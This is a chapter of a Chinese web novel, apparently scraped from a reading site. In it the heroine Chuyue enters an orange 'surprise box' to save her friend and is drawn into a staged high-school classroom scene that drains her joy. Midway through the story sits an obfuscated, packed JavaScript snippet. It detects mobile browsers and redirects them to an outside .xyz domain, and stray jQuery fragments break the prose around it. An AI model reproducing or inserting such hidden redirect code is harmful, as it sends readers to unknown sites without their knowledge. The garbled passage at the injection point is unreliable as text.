85. 惊喜盒子(二)

作品:《梦主今日亦未造反

    可惜另一边的秋鸿和她们相隔太远,并没有听到初月对他的指认。


    他回头望向后方的集装箱群,初月和四方砖两个人面对面站着,似乎在争执些什么。


    秋鸿摸向口袋,那里安稳存放着几根蚕丝,那是他在离开白纻树时偷偷从上面摘下的几簇枝丫。


    蚕丝芯不是黑色的,而是淡淡的黄色,大抵是提纯过后的某种愉悦情绪。


    他问过王瑾了,这白纻树上的蚕丝既可以拴住他的脖子将他牢牢箍住,可同时它作为气囊族的标志性物件,也起到了收集自身情绪值、保证情绪值不外泄的重要作用。


    秋鸿想,将其中一根送给初月的好朋友袅袅,以表示他对初月不变的初心。


    于是他手捂着口袋,撇下如河水般的队伍,朝着身后集装箱群的方向走去。


    可初月没有站在原地等他,初月也不会一脸欣喜的接过他手中的蚕丝,和他冰释前嫌。


    他看见初月抽出长鞭,甩开四方砖,朝着“惊喜盒子”钻去。


    初月三两下就捋顺了这场交易的真相。


    不过是先制造一场意外将人们手中的东西夺去,再大发慈悲地提供一个可行的交换方法,以供他们自发前往,将自身最宝贵的情绪上缴一大部分,得到一小部分。


    甚至那个眼泪流尽的女人被返还的情绪值都没有容器装,只能用自己的衣服简单包裹起来……


    看似是以情绪值换住所,实则是完全的剥削。


    初月怎么能眼睁睁地看着袅袅就这么被扒一层皮呢?


    更何况袅袅还想要换取更多的建筑份额,以供她们二人同住。


    于是,初月扬起长鞭,驱退四方砖的阻拦,毅然决然地朝着那个吃人的橙色盒子冲去。


    闸口是一个铸铁的矮门,门一侧镶嵌着一个半掌大的凹槽感应器,想必袅袅从秋鸿那里领的手牌就是用来开这门的吧。


    可初月没有手牌,此刻要是再回去领,怕是会被四方砖半路拦截住,误了她救袅袅的大事。


    于是她以手为牌,拦下路过一彪形大汉,长鞭缠住他手,稍稍发力一勒,那手牌便自然地落到了初月的手里。


    “借用一下,马上还你。”


    初月趁他没反应过来之前,瞬间刷开了门,一个闪身跃入橙色盒子内部,并在矮门关闭前的间隙里,将手牌投进了彪形大汉的怀里。


    “谢谢!”


    在铁门合上之前,初月望着外面的二人说。


    袅袅的笑声就在不远的前方。


    橙色盒子的内部不像外观看起来那么清透明亮,在门口的地方,漆黑一片,既没有灯光,外部的透明夹层也透不进任何光亮,初月站在原地甚至看不清路在何方。


    而身上原本可以当做路灯使的几处火痕,也因寒毒的桎梏,只能发出如萤火虫般微微的亮光。


    初月手扶着墙,循着袅袅的声音往前走。


    大概走了五步路的距离,墙壁上她手掌按着的位置突然亮了起来,像是在纯黑的幕布上,一朵金色的小鱼游了过来。


    随后,整个大厅亮了起来,与此同时,初月手摸墙壁的触感消失了,取而代之的是一条软绵绵的胳膊。


    “你干嘛吵我?老师来了吗?”


    高高的课本堆叠,码在课桌前部,高中同桌长着一张酷似秋鸿的脸,睡眼惺忪地从课本中间的小山洼里抬起头来,迷迷瞪瞪地问她。


    初月触电般收回手,看着眼前真实的人与景不知所措。


    “没来——老师来了再叫我……不对,东厂曹公公来了再叫我……”


    东厂曹公公,是初月高一时的班主任,一个板正的男人说话却细声细气宛转悠扬,故而得此外号。


    而她的同桌,如千万本雷同的青春校园小说一般,总是初月当年酸涩的情绪所在。


    如今回想起来,将过往的这几张脸放在一起,初月才猛然发现,原来她喜欢的类型是如此的专一。


    不仅她是这样,梦世界的原主也是这样,喜欢的都是这样一张俊美清秀丹凤眼、瘦削鼻梁厚嘴唇的脸——秋鸿的脸。


    她不敢置信地再次伸手,摸向他裹在短袖校服里的胳膊,软绵绵的皮肉下,是瘦削的高中男生常见的筋骨。


    初月猛然抽回手,掌心贴着自己大腿向下,朝着右大腿上的火痕就是深深一掐……


    “啊痛……”


    初月以肉身上实实在在的疼痛,浇灭精神上虚幻的沉溺,她没有忘记自己进入橙色盒子的使命。


    她可不是为了享受这虚幻的、没有考试等在前方的青春快乐体验而来的!


    袅袅的声音怎么小了不少?初月侧耳聆听。


    听起来她好像累了,笑声时断时续的,中间穿插着拖长声音的“哎呦”声,似乎快要被自己的罐头笑声憋的喘不过气来。


    好像在隔壁教室。


    初月站起身,将同桌搭在椅背上的外套拾起来,盖在了他的头上。


    她读书那会儿就想这么做了,奈何那时候太矜持害羞,不愿引起一点点风吹草动,却错过了最纯真的时候最青涩的友情。


    于是此时的她,在她的梦世界,弥补上了那时的遗憾。


    “嘿嘿……”


    初月将外套捂上同桌的脑袋就往教室后门逃,怀里满揣着小小恶作剧后的慌乱和得意。


    可殊不知此刻的她,已经开始沉浸于“惊喜盒子”给她量身打造的情绪收割的情景剧里了。


    初月时时防备,自以为清醒,只不过是她走得还不够远,陷得还不够深。这里有的是办法将她的快乐和开心释放个干净。


    同桌被闹醒后抓狂的声音在身后追,袅袅时断时续的笑声在一墙之隔呼唤,初月心怀甜蜜和窃喜,不停回头不停往教室后门跑,却仰身撞上了后门角落的捣蛋鬼同学。


    “哎呦!你把我的锅撞瘪啦!”


    粗厚的嗓音配合着调皮的语气,这确是班里最神经社牛的存在了。


    永居教室最后排一角的同学一手端着一个巨大的、纸箱子糊成的“大斗笠”,开口朝上,尖角朝下,边缘还仿照大铁锅镶嵌了两个对称的圆环。


    另一手握着纸糊的“锅铲”,铲尖朝天,顺便抬手扶着他头顶的“厨师帽”,同样是纸板做成的,比照着他的头围,严严实实地盖在他的头上。


    “啊……你这……”


    本想道歉的初月见着这一出,也惊讶地说不出话来。


    那胖同学也不恼,乐乐呵呵地将被挤扁的“铁锅”复原,抓起桌上的新试卷就往锅里扔,一手端铁锅一手操锅铲,在锅里翻炒颠勺,还顺道唱了起来。


    “哎呀!初月啊~你是不是饿得慌呀,呀嗬咿呀嘿!你要是饿地慌呀~请你就跟大厨讲!大厨给你溜肥肠……”<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16442300|184254||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    p>“别闹……”


    初月是真的服了……她被这一出小剧场整得实在是忍不住了,捂着嘴笑弯了腰。


    嵌在骨肉里的寒冰在初月体内慢慢化开,由骨髓渗进皮肉,慢慢充斥着初月体内的每一道间隙。


    而她身上的火痕,则亮起星星点点的水光。


    教室后门“吱——呀——”一声起,拖长了声音宣告老班的行踪。


    本是喧嚣热闹的教室一下子强制制冷,初月和周围一群看热闹的同学立刻憋笑,就近找座位坐了下来,假模假样地研究着练习册里的难题。


    不用看初月也知道,那厨师小胖此刻多半垂了手,低了头,手上的锅和铲估计也舍不得丢下,斜着眼偷偷观察老班的表情呢。


    不多时,老班东厂曹公公拍着他的厨师帽,便阴阳怪气地调侃了:“哟!哪来的大厨啊?新东方的?”


    “御膳房的……”


    “噗哈”一声爆笑,整个教室里都沸腾起来了!


    初月更是笑到锤桌……


    谁也没有想到,平时唯唯诺诺的小胖,此刻接梗却一流,甚至开始调侃起老班的外号了。


    谁不知道东厂、御膳房这一脉相承的皇宫格局。


    而老班曹公公自己,自然也是知道学生给他起的外号的。


    这一下子,谁也憋不住了,老班又气又笑,又觉得无语,拧着厨师小胖的耳朵揪着他往办公室走。


    “初月!”小胖临走前还不忘交代他这一大锅食物,“肥肠已经半熟了,你再溜两下……哎哎老师轻点拧……”


    自撞上小胖起,初月的下巴就没有合上过,此刻手里端着从小胖那继承来的“衣钵”,身上一锤一锤都是隔壁同学激动的拍打,她就快要笑晕过去……


    “啪嗒……”


    突然一声微不可查的水泡破裂声响起,初月听见了自己体内不同寻常的警告声。


    什么水泡破了?


    初月低头查看自己的身体,可她表层肌肤完好,除了那几个火痕之外,再无破损的地方,哪里来的水泡声呢?


    “初月?”


    教室前排黑板突然亮起,有一个身影印在耀眼的白光里。


    四方砖跟进来了。


    他被初月一鞭驱开后,回过身时初月已经闪入了橙色的集装箱里,只有一个檀木色的手牌从铁铸的矮门里飞了出来。


    四方砖抢上前去,在手牌的原主人动作之前,捡起了它,重复着初月刚才行云流水的动作,将手牌贴在了矮门旁的凹槽里。


    可那一声感应成功的“滴”声始终没有响起。


    四方砖这才意识到,手牌无法重复用在同一个颜色的集装箱里,至于原因,他无暇细究。


    只忙着飞奔着拉过来来往往的消沉的人们,试图找一个未曾在橙色集装箱里用过的手牌。


    可是他一无所获。


    “叔叔?和你一起的姐姐呢?”


    就在四方砖双手撑膝盖懊恼不已,垂头丧气正准备返回到平台边找秋鸿时,一个摊开的、四四方方的烟箱伸到了他眼前。


    那个引诱旁观者入局的小女孩又回来了。


    这一次,四方砖正好需要入局。


    “你帮我把手牌给姐姐好吗?”女孩一边把手牌塞入四方砖怀里,一边物色新的目标,“我还有好多糖没有送出去……”


    四方砖求之不得。